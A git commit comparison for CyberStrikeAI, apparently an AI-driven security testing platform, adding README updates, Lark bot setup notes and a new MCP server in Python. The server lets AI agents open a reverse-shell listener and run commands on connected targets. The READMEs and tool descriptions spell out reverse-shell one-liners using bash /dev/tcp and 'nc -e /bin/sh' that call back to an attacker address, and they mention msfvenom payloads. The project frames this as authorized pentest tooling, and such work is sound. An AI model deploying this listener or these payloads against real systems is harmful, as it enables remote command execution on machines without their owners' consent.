Compare commits

...

6 Commits

Author SHA1 Message Date
公明 0e83c20e47 Update config.yaml 2026-03-17 20:25:27 +08:00
公明 359ac45ecf Add files via upload 2026-03-17 20:23:17 +08:00
公明 df14545582 Add files via upload 2026-03-17 20:17:27 +08:00
公明 147e5e4529 Add files via upload 2026-03-17 01:16:08 +08:00
公明 c47b8ff33a Add files via upload 2026-03-17 00:14:13 +08:00
公明 cd5190362f Add files via upload 2026-03-16 23:48:12 +08:00
10 changed files with 568 additions and 3 deletions
+14
View File
@@ -7,6 +7,8 @@
[中文](README_CN.md) | [English](README.md)
**Community**: [Join us on Discord](https://discord.gg/8PjVCMu8Zw)
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, and comprehensive lifecycle management capabilities. Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
@@ -170,6 +172,17 @@ go build -o cyberstrike-ai cmd/server/main.go
**Note:** The Python virtual environment (`venv/`) is automatically created and managed by `run.sh`. Tools that require Python (like `api-fuzzer`, `http-framework-test`, etc.) will automatically use this environment.
### Version Update (No Breaking Changes)
**CyberStrikeAI version update (when there are no compatibility changes):**
1. Download the latest source code.
2. Copy the old project's `/data` folder and `config.yaml` file into the new source directory.
3. Restart with: `chmod +x run.sh && ./run.sh`
⚠️ **Note:** This procedure only applies to version updates without compatibility or breaking changes. If a release includes compatibility changes, this method may not apply.
**Examples:** No breaking changes — e.g. v1.3.1 → v1.3.2; with breaking changes — e.g. v1.3.1 → v1.4.0. The project follows [Semantic Versioning](https://semver.org/) (SemVer): when only the patch version (third number) changes, this upgrade path is usually safe; when the minor or major version changes, config, data, or APIs may have changed — check the release notes before using this method.
### Core Workflows
- **Conversation testing** Natural-language prompts trigger toolchains with streaming SSE output.
- **Role-based testing** Select from predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, etc.) to customize AI behavior and tool availability. Each role applies custom system prompts and can restrict available tools for focused testing scenarios.
@@ -257,6 +270,7 @@ go build -o cyberstrike-ai cmd/server/main.go
- **Web mode** ships with HTTP MCP server automatically consumed by the UI.
- **MCP stdio mode** `go run cmd/mcp-stdio/main.go` exposes the agent to Cursor/CLI.
- **External MCP federation** register third-party MCP servers (HTTP, stdio, or SSE) from the UI, toggle them per engagement, and monitor their health and call volume in real time.
- **Optional MCP servers** the [`mcp-servers/`](mcp-servers/README.md) directory provides standalone MCPs (e.g. reverse shell). They speak standard MCP over stdio and work with CyberStrikeAI (Settings → External MCP), Cursor, VS Code, and other MCP clients.
#### MCP stdio quick start
1. **Build the binary** (run from the project root):
+13
View File
@@ -6,6 +6,8 @@
[中文](README_CN.md) | [English](README.md)
**社区**[加入 Discord](https://discord.gg/8PjVCMu8Zw)
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能,以及完整的测试生命周期管理能力。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
@@ -169,6 +171,16 @@ go build -o cyberstrike-ai cmd/server/main.go
**说明:** Python 虚拟环境(`venv/`)由 `run.sh` 自动创建和管理。需要 Python 的工具(如 `api-fuzzer`、`http-framework-test` 等)会自动使用该环境。
### CyberStrikeAI 版本更新(无兼容性问题)
1. 下载最新源代码;
2. 将旧项目的 `/data` 文件夹、`config.yaml` 文件复制至新版源代码目录;
3. 执行命令重启:`chmod +x run.sh && ./run.sh`
⚠️ **注意:** 仅适用于无兼容性变更的版本更新。若版本存在兼容性调整,此方法不适用。
**举例:** 无兼容性变更如 v1.3.1 → v1.3.2;有兼容性变更如 v1.3.1 → v1.4.0。项目采用语义化版本(SemVer):仅第三位(补丁号)变更时通常可安全按上述步骤升级;次版本号或主版本号变更时可能涉及配置、数据或接口调整,需查阅 release notes 再决定是否适用本方法。
### 常用流程
- **对话测试**:自然语言触发多步工具编排,SSE 实时输出。
- **角色化测试**:从预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试等)中选择,自定义 AI 行为和可用工具。每个角色可应用自定义系统提示词,并可限制可用工具列表,实现聚焦的测试场景。
@@ -255,6 +267,7 @@ go build -o cyberstrike-ai cmd/server/main.go
- **Web 模式**:自带 HTTP MCP 服务供前端调用。
- **MCP stdio 模式**`go run cmd/mcp-stdio/main.go` 可接入 Cursor/命令行。
- **外部 MCP 联邦**:在设置中注册第三方 MCPHTTP/stdio/SSE),按需启停并实时查看调用统计与健康度。
- **可选 MCP 服务**:项目中的 [`mcp-servers/`](mcp-servers/README_CN.md) 目录提供独立 MCP(如反向 Shell),采用标准 MCP stdio,可在 CyberStrikeAI(设置 → 外部 MCP)、Cursor、VS Code 等任意支持 MCP 的客户端中使用。
#### MCP stdio 快速集成
1. **编译可执行文件**(在项目根目录执行):
+1 -1
View File
@@ -10,7 +10,7 @@
# ============================================
# 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.3.25"
version: "v1.3.27"
# 服务器配置
server:
+19 -1
View File
@@ -98,7 +98,25 @@
| App Secret | 飞书开放平台应用凭证中的 App Secret |
| Verify Token | 事件订阅用(可选) |
**飞书配置简要步骤**:登录 [飞书开放平台](https://open.feishu.cn) → 创建企业自建应用 → 在「凭证与基础信息」中获取 **App ID**、**App Secret** → 在「应用能力」中开通**机器人**并启用相应权限 → 发布应用 → 将 App ID、App Secret 填到 CyberStrikeAI 机器人设置 → 保存并**重启应用**
**飞书配置简要步骤**:登录 [飞书开放平台](https://open.feishu.cn) → 创建企业自建应用 → 在「凭证与基础信息」中获取 **App ID**、**App Secret** → 在「应用能力」中开通**机器人**并启用相应权限 → **在「事件订阅」中添加事件**(见下)→ 发布应用 → 将 App ID、App Secret 填到 CyberStrikeAI 机器人设置 → 保存。
**重要:事件订阅**
飞书长连接只有在开放平台订阅了「接收消息」事件后才会收到用户消息。请在该应用的 **事件订阅** 页面点击「添加事件」,在「消息与群组」下勾选 **接收消息(im.message.receive_v1** 或同类事件;若未添加,连接会建立成功但收不到任何消息,表现为发消息后本地无日志、机器人无回复。
**飞书权限配置(必读)**
**权限管理** 中需开通以下权限(与开放平台列表中的名称、标识一致);修改后需在 **版本管理与发布** 中发布新版本才生效。
| 权限名称(开放平台中显示) | 权限标识 | 说明 |
|----------------------------|----------|------|
| 获取与发送单聊、群组消息 | `im:message` | 收发消息的基础权限,**必须开通**。 |
| 接收群聊中@机器人消息事件 | `im:message.group_at_msg:readonly` | 群聊中 @ 机器人时收消息,需开通。 |
| 读取用户发给机器人的单聊消息 | `im:message.p2p_msg:readonly` | 单聊收消息,**必须开通**,否则私聊发消息没反应。 |
| 获取单聊、群组消息 | `im:message:readonly` | 读取消息内容,**必须开通**。 |
**事件订阅**(与权限分开配置):在 **事件订阅** 中添加 **接收消息(im.message.receive_v1**,否则长连接收不到消息推送。
- **单聊**:在飞书里打开与机器人的私聊窗口,直接发「帮助」或任意文字即可,无需 @。
- **群聊**:在群里只有 **@ 机器人** 后发送的内容才会被机器人收到并回复。
---
+19 -1
View File
@@ -97,7 +97,25 @@ If you only have a **custom bot** Webhook URL (`oapi.dingtalk.com/robot/send?acc
| App Secret | From Lark open platform app credentials |
| Verify Token | Optional; for event subscription |
**Lark setup in short**: Log in to [Lark Open Platform](https://open.feishu.cn) → Create an enterprise app → In “Credentials and basic info” get **App ID** and **App Secret** → In “Application capabilities” enable **Robot** and the right permissions → Publish the app → Enter App ID and App Secret in CyberStrikeAI robot settings → Save and **restart** the app.
**Lark setup in short**: Log in to [Lark Open Platform](https://open.feishu.cn) → Create an enterprise app → In “Credentials and basic info” get **App ID** and **App Secret** → In “Application capabilities” enable **Robot** and the right permissions → Add **event subscription** and **permissions** below → Publish the app → Enter App ID and App Secret in CyberStrikeAI robot settings → Save and **restart** the app.
**Event subscription**
The long-lived connection only receives message events if you subscribe to them. In the apps **Events and callbacks** (事件与回调) → **Event subscription** (事件订阅), add the event **Receive message** (**im.message.receive_v1**). Without it, the connection succeeds but no message events are delivered (no logs when users send messages).
**Lark permissions (required)**
In **Permission management** (权限管理), enable the following (names and identifiers match the Lark console). After changes, **publish a new version** in Version management and release so they take effect.
| Permission name (as shown in console) | Identifier | Notes |
|--------------------------------------|------------|-------|
| 获取与发送单聊、群组消息 (Get and send direct & group messages) | `im:message` | Base permission for sending and receiving; **required**. |
| 接收群聊中@机器人消息事件 (Receive @bot messages in group chat) | `im:message.group_at_msg:readonly` | Required for group chat when users @ the bot. |
| 读取用户发给机器人的单聊消息 (Read direct messages from users to bot) | `im:message.p2p_msg:readonly` | **Required** for 1:1 chat; otherwise no response in private chat. |
| 获取单聊、群组消息 (Get direct & group messages) | `im:message:readonly` | **Required** to read message content. |
**Event subscription** (configured separately): In **Event subscription** (事件订阅), add **Receive message** (**im.message.receive_v1**). Without it, the long-lived connection will not receive message events.
- **1:1 chat**: Open the bots private chat in Lark and send e.g. “帮助” or “help”; no @ needed.
- **Group chat**: Only messages that **@ the bot** are received and replied to.
---
+49
View File
@@ -0,0 +1,49 @@
# MCP Servers
[中文](README_CN.md)
This directory contains **standalone MCP (Model Context Protocol) servers**. They speak the standard MCP protocol over stdio (or HTTP/SSE when a server supports it), so **any MCP client** can use them—not only CyberStrikeAI, but also **Cursor**, **VS Code** (with an MCP extension), **Claude Code**, and other clients that support MCP.
**We will keep adding useful MCP servers here.** New servers will cover security testing, automation, and integration scenarios. Stay tuned for updates.
## Available servers
| Server | Description |
|--------|-------------|
| [reverse_shell](reverse_shell/) | Reverse shell listener: start/stop listener, send commands to connected targets, full interactive workflow. |
## How to use
These MCPs are configured per client. Use **absolute paths** for `command` and `args` when using stdio.
### CyberStrikeAI
1. Open Web UI → **Settings****External MCP**.
2. Add a new external MCP and fill in the JSON config (see each servers README for the exact config).
3. Save and click **Start**; the tools will appear in conversations.
### Cursor
Add the server to Cursors MCP config (e.g. **Settings → Tools & MCP → Add Custom MCP**, or edit `~/.cursor/mcp.json` / project `.cursor/mcp.json`). Example for a stdio server:
```json
{
"mcpServers": {
"reverse-shell": {
"command": "/absolute/path/to/venv/bin/python3",
"args": ["/absolute/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
}
}
}
```
Replace the paths with your actual paths. Cursor will spawn the process and talk MCP over stdio.
### VS Code (MCP extension) / Claude Code / other clients
Configure the client to run the server via **stdio**: set the **command** to your Python executable and **args** to the script path (see each servers README). The client will launch the process and communicate over stdin/stdout. Refer to your clients docs for where to put the config (e.g. `.mcp.json`, `~/.claude.json`, or the extensions settings).
## Requirements
- Python 3.10+ for Python-based servers.
- Use the projects `venv` when possible: e.g. `venv/bin/python3` and the script under `mcp-servers/`.
+49
View File
@@ -0,0 +1,49 @@
# MCP 服务
[English](README.md)
本目录存放 **独立 MCPModel Context Protocol)服务**,采用标准 MCP 协议(stdio 或部分服务支持 HTTP/SSE),因此 **任意支持 MCP 的客户端** 均可使用——不限于 CyberStrikeAI**Cursor**、**VS Code**(配合 MCP 扩展)、**Claude Code** 等均可接入。
**我们会持续在此新增好用的 MCP 服务**,覆盖安全测试、自动化与集成等场景,敬请关注。
## 已提供服务
| 服务 | 说明 |
|------|------|
| [reverse_shell](reverse_shell/) | 反向 Shell:开启/停止监听、与已连接目标交互执行命令,完整交互流程。 |
## 使用方式
各 MCP 需在对应客户端里配置后使用。stdio 模式下 `command``args` 请使用**绝对路径**。
### CyberStrikeAI
1. 打开 Web 界面 → **设置****外部 MCP**
2. 添加新的外部 MCP,按各服务目录下 README 的说明填写 JSON 配置。
3. 保存后点击 **启动**,对话中即可使用对应工具。
### Cursor
在 Cursor 的 MCP 配置中添加(如 **Settings → Tools & MCP → Add Custom MCP**,或编辑 `~/.cursor/mcp.json` / 项目下的 `.cursor/mcp.json`)。stdio 示例:
```json
{
"mcpServers": {
"reverse-shell": {
"command": "/你的绝对路径/venv/bin/python3",
"args": ["/你的绝对路径/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
}
}
}
```
将路径替换为实际路径后,Cursor 会启动该进程并通过 stdio 与 MCP 通信。
### VS CodeMCP 扩展)/ Claude Code / 其他客户端
在对应客户端中配置为通过 **stdio** 启动:**command** 填 Python 可执行文件路径,**args** 填脚本路径(详见各服务 README)。配置位置依客户端而定(如 `.mcp.json``~/.claude.json` 或扩展设置),请查阅该客户端的 MCP 说明。
## 依赖说明
- 基于 Python 的服务需 Python 3.10+。
- 建议使用项目自带的 `venv`,例如 `venv/bin/python3` 配合 `mcp-servers/` 下脚本路径。
+66
View File
@@ -0,0 +1,66 @@
# Reverse Shell MCP
[中文](README_CN.md)
Add **reverse shell** capability to CyberStrikeAI via External MCP: start/stop a TCP listener and run commands on connected targets—no backend code changes required.
## Tools
| Tool | Description |
|------|-------------|
| `reverse_shell_start_listener` | Start TCP listener on a given port; wait for the target to connect. |
| `reverse_shell_stop_listener` | Stop the listener and disconnect the current client. |
| `reverse_shell_status` | Show status: listening or not, port, connected or not, client address. |
| `reverse_shell_send_command` | Send a command to the connected reverse shell and return output. |
| `reverse_shell_disconnect` | Disconnect the current client only; listener keeps running for new connections. |
## Requirements
- Python 3.10+
- `mcp` package (included if using the project venv; otherwise: `pip install mcp`)
## Setup in CyberStrikeAI
1. **Paths**
Example: project root `/path/to/CyberStrikeAI-main`
Script: `/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
2. **Web UI****Settings****External MCP****Add External MCP**. Paste JSON (replace paths with yours):
```json
{
"reverse-shell": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
"description": "Reverse shell: start/stop listener, run commands on connected target",
"timeout": 60,
"external_mcp_enable": true
}
}
```
- `command`: Prefer the project **venv** Python; or use system `python3`.
- `args`: **Must be absolute path** to `mcp_reverse_shell.py`.
- Save, then click **Start** for this MCP to use the tools in chat.
3. **Typical workflow**
- Call `reverse_shell_start_listener(4444)` to listen on port 4444.
- On the target, run a reverse connection, e.g.:
- Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` or `nc -e /bin/sh YOUR_IP 4444`
- Or use msfvenom-generated payloads, etc.
- After connection, use `reverse_shell_send_command("id")`, `reverse_shell_send_command("whoami")`, etc.
- Use `reverse_shell_status` to check state, `reverse_shell_disconnect` to drop the client only, `reverse_shell_stop_listener` to stop listening.
## Run locally (optional)
```bash
# From project root, with venv
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
```
The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
## Security
- Use only in authorized, isolated test environments.
- Listener binds to `0.0.0.0`; restrict access with firewall or network policy if the port is exposed.
+66
View File
@@ -0,0 +1,66 @@
# 反向 Shell MCP
[English](README.md)
通过**外部 MCP** 为 CyberStrikeAI 增加**反向 Shell** 能力:开启/停止 TCP 监听、与已连接目标交互执行命令,**无需修改后端代码**。
## 工具说明
| 工具 | 说明 |
|------|------|
| `reverse_shell_start_listener` | 在指定端口启动 TCP 监听,等待目标机反向连接。 |
| `reverse_shell_stop_listener` | 停止监听并断开当前客户端。 |
| `reverse_shell_status` | 查看状态:是否监听、端口、是否已连接及客户端地址。 |
| `reverse_shell_send_command` | 向已连接的反向 Shell 发送命令并返回输出。 |
| `reverse_shell_disconnect` | 仅断开当前客户端,不停止监听(可继续等待新连接)。 |
## 依赖
- Python 3.10+
- 使用项目自带 venv 时已包含 `mcp`;单独运行需:`pip install mcp`
## 在 CyberStrikeAI 中接入
1. **路径**
例如项目根为 `/path/to/CyberStrikeAI-main`,则脚本路径为:
`/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
2. **Web 界面****设置****外部 MCP****添加外部 MCP**,填入以下 JSON(将路径替换为你的实际路径):
```json
{
"reverse-shell": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
"description": "反向 Shell:开启/停止监听、与目标交互执行命令",
"timeout": 60,
"external_mcp_enable": true
}
}
```
- `command`:建议使用项目 **venv** 中的 Python,或系统 `python3`
- `args`**必须使用绝对路径** 指向 `mcp_reverse_shell.py`
- 保存后点击该 MCP 的 **启动**,即可在对话中通过 AI 调用上述工具。
3. **使用流程示例**
- 调用 `reverse_shell_start_listener(4444)` 在 4444 端口开始监听。
- 在目标机上执行反向连接,例如:
- Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1``nc -e /bin/sh YOUR_IP 4444`
- 或使用 msfvenom 生成 payload 等。
- 连接成功后,用 `reverse_shell_send_command("id")``reverse_shell_send_command("whoami")` 等与目标交互。
- 需要时用 `reverse_shell_status` 查看状态,用 `reverse_shell_disconnect` 仅断开客户端,用 `reverse_shell_stop_listener` 完全停止监听。
## 本地单独运行(可选)
```bash
# 在项目根目录,使用 venv
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
```
进程通过 stdio 与 MCP 客户端通信;CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
## 安全提示
- 仅在有授权、隔离的测试环境中使用。
- 监听在 `0.0.0.0`,若端口对外暴露存在风险,请通过防火墙或网络策略限制访问。
@@ -0,0 +1,272 @@
#!/usr/bin/env python3
"""
Reverse Shell MCP Server - 反向 Shell MCP 服务
通过 MCP 协议暴露反向 Shell 能力开启/停止监听与已连接客户端交互执行命令
无需修改 CyberStrikeAI 后端设置 外部 MCP中以 stdio 方式添加即可
依赖pip install mcp或使用项目 venv
运行python mcp_reverse_shell.py python3 mcp_reverse_shell.py
"""
from __future__ import annotations
import asyncio
import socket
import threading
import time
from typing import Any
from mcp.server.fastmcp import FastMCP
# ---------------------------------------------------------------------------
# 反向 Shell 状态(单例:一个监听器、一个已连接客户端)
# ---------------------------------------------------------------------------
_LISTENER: socket.socket | None = None
_LISTENER_THREAD: threading.Thread | None = None
_LISTENER_PORT: int | None = None
_CLIENT_SOCK: socket.socket | None = None
_CLIENT_ADDR: tuple[str, int] | None = None
_LOCK = threading.Lock()
# 用于 send_command 的输出结束标记(避免无限等待)
_END_MARKER = "__RS_DONE__"
_RECV_TIMEOUT = 30.0
_RECV_CHUNK = 4096
def _get_local_ips() -> list[str]:
"""获取本机 IP 列表(供目标机反弹连接用),优先非 127 地址。"""
ips: list[str] = []
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
if ip and ip != "127.0.0.1":
ips.append(ip)
except OSError:
pass
if not ips:
try:
ip = socket.gethostbyname(socket.gethostname())
if ip:
ips.append(ip)
except OSError:
pass
if not ips:
ips.append("127.0.0.1")
return ips
def _accept_loop(port: int) -> None:
"""在后台线程中:bind、listen、accept,只接受一个客户端。"""
global _LISTENER, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", port))
sock.listen(1)
with _LOCK:
_LISTENER = sock
# 阻塞 accept,只接受一个连接
client, addr = sock.accept()
with _LOCK:
_CLIENT_SOCK = client
_CLIENT_ADDR = (addr[0], addr[1])
except OSError:
pass
finally:
with _LOCK:
if _LISTENER:
try:
_LISTENER.close()
except OSError:
pass
_LISTENER = None
_LISTENER_PORT = None
def _start_listener(port: int) -> str:
global _LISTENER_THREAD, _LISTENER_PORT, _CLIENT_SOCK, _CLIENT_ADDR
with _LOCK:
if _LISTENER is not None or (_LISTENER_THREAD is not None and _LISTENER_THREAD.is_alive()):
return f"已在监听中(端口: {_LISTENER_PORT}),请先 stop_listener 再重新 start。"
if _CLIENT_SOCK is not None:
try:
_CLIENT_SOCK.close()
except OSError:
pass
_CLIENT_SOCK = None
_CLIENT_ADDR = None
th = threading.Thread(target=_accept_loop, args=(port,), daemon=True)
th.start()
_LISTENER_THREAD = th
time.sleep(0.2)
with _LOCK:
if _LISTENER is not None:
_LISTENER_PORT = port
ips = _get_local_ips()
addrs = ", ".join(f"{ip}:{port}" for ip in ips)
return (
f"已在 0.0.0.0:{port} 开始监听。"
f"目标机请反弹到: {addrs}(任选其一)。连接后使用 reverse_shell_send_command 执行命令。"
)
return f"监听 0.0.0.0:{port} 已启动(若端口被占用会失败,请检查)。"
def _stop_listener() -> str:
global _LISTENER, _LISTENER_THREAD, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
with _LOCK:
if _LISTENER is not None:
try:
_LISTENER.close()
except OSError:
pass
_LISTENER = None
_LISTENER_PORT = None
if _CLIENT_SOCK is not None:
try:
_CLIENT_SOCK.close()
except OSError:
pass
_CLIENT_SOCK = None
_CLIENT_ADDR = None
return "监听已停止,已断开当前客户端(如有)。"
def _disconnect_client() -> str:
global _CLIENT_SOCK, _CLIENT_ADDR
with _LOCK:
if _CLIENT_SOCK is None:
return "当前无已连接客户端。"
try:
_CLIENT_SOCK.close()
except OSError:
pass
addr = _CLIENT_ADDR
_CLIENT_SOCK = None
_CLIENT_ADDR = None
return f"已断开客户端 {addr}"
def _status() -> dict[str, Any]:
with _LOCK:
listening = _LISTENER is not None
port = _LISTENER_PORT
connected = _CLIENT_SOCK is not None
addr = _CLIENT_ADDR
connect_back = None
if listening and port is not None:
ips = _get_local_ips()
connect_back = [f"{ip}:{port}" for ip in ips]
return {
"listening": listening,
"port": port,
"connect_back": connect_back,
"connected": connected,
"client_address": f"{addr[0]}:{addr[1]}" if addr else None,
}
def _send_command_blocking(command: str, timeout: float = _RECV_TIMEOUT) -> str:
"""在同步上下文中向已连接客户端发送命令并读取输出(带结束标记)。"""
global _CLIENT_SOCK, _CLIENT_ADDR
with _LOCK:
client = _CLIENT_SOCK
if client is None:
return "错误:当前无已连接客户端。请先 start_listener,等待目标连接后再 send_command。"
# 使用结束标记以便可靠地截断输出
wrapped = f"{command.strip()}\necho {_END_MARKER}\n"
try:
client.settimeout(timeout)
client.sendall(wrapped.encode("utf-8", errors="replace"))
data = b""
while True:
try:
chunk = client.recv(_RECV_CHUNK)
if not chunk:
break
data += chunk
if _END_MARKER.encode() in data:
break
except socket.timeout:
break
text = data.decode("utf-8", errors="replace")
if _END_MARKER in text:
text = text.split(_END_MARKER)[0].strip()
return text or "(无输出)"
except (ConnectionResetError, BrokenPipeError, OSError) as e:
with _LOCK:
if _CLIENT_SOCK is client:
_CLIENT_SOCK = None
_CLIENT_ADDR = None
return f"连接已断开: {e}"
except Exception as e:
return f"执行异常: {e}"
# ---------------------------------------------------------------------------
# MCP 服务与工具
# ---------------------------------------------------------------------------
app = FastMCP(
name="reverse-shell",
instructions="反向 Shell MCP:在本地开启 TCP 监听,等待目标机连接后通过工具执行命令。",
)
@app.tool(
description="在指定端口启动反向 Shell 监听。目标机需执行反向连接(如 nc -e /bin/sh YOUR_IP PORT 或 bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1)。仅支持一个监听器与一个客户端。",
)
def reverse_shell_start_listener(port: int) -> str:
"""Start reverse shell listener on the given port (e.g. 4444)."""
if port < 1 or port > 65535:
return "端口需在 165535 之间。"
return _start_listener(port)
@app.tool(
description="停止反向 Shell 监听并断开当前客户端。",
)
def reverse_shell_stop_listener() -> str:
"""Stop the listener and disconnect the current client."""
return _stop_listener()
@app.tool(
description="查看当前状态:是否在监听、端口、是否有客户端连接及客户端地址。",
)
def reverse_shell_status() -> str:
"""Get listener and client connection status."""
s = _status()
lines = [
f"监听中: {s['listening']}",
f"端口: {s['port']}",
f"反弹地址(目标机连接): {', '.join(s['connect_back']) if s.get('connect_back') else '-'}",
f"已连接: {s['connected']}",
f"客户端: {s['client_address'] or '-'}",
]
return "\n".join(lines)
@app.tool(
description="向已连接的反向 Shell 客户端发送一条命令并返回输出。若无连接请先 start_listener 并等待目标连接。",
)
async def reverse_shell_send_command(command: str) -> str:
"""Send a command to the connected reverse shell client and return output."""
# 在线程池中执行阻塞的 socket I/O,避免长时间占用 MCP 主线程,使 status/stop_listener 等仍可响应
return await asyncio.to_thread(_send_command_blocking, command)
@app.tool(
description="仅断开当前客户端连接,不停止监听(可继续等待新连接)。",
)
def reverse_shell_disconnect() -> str:
"""Disconnect the current client without stopping the listener."""
return _disconnect_client()
if __name__ == "__main__":
app.run(transport="stdio")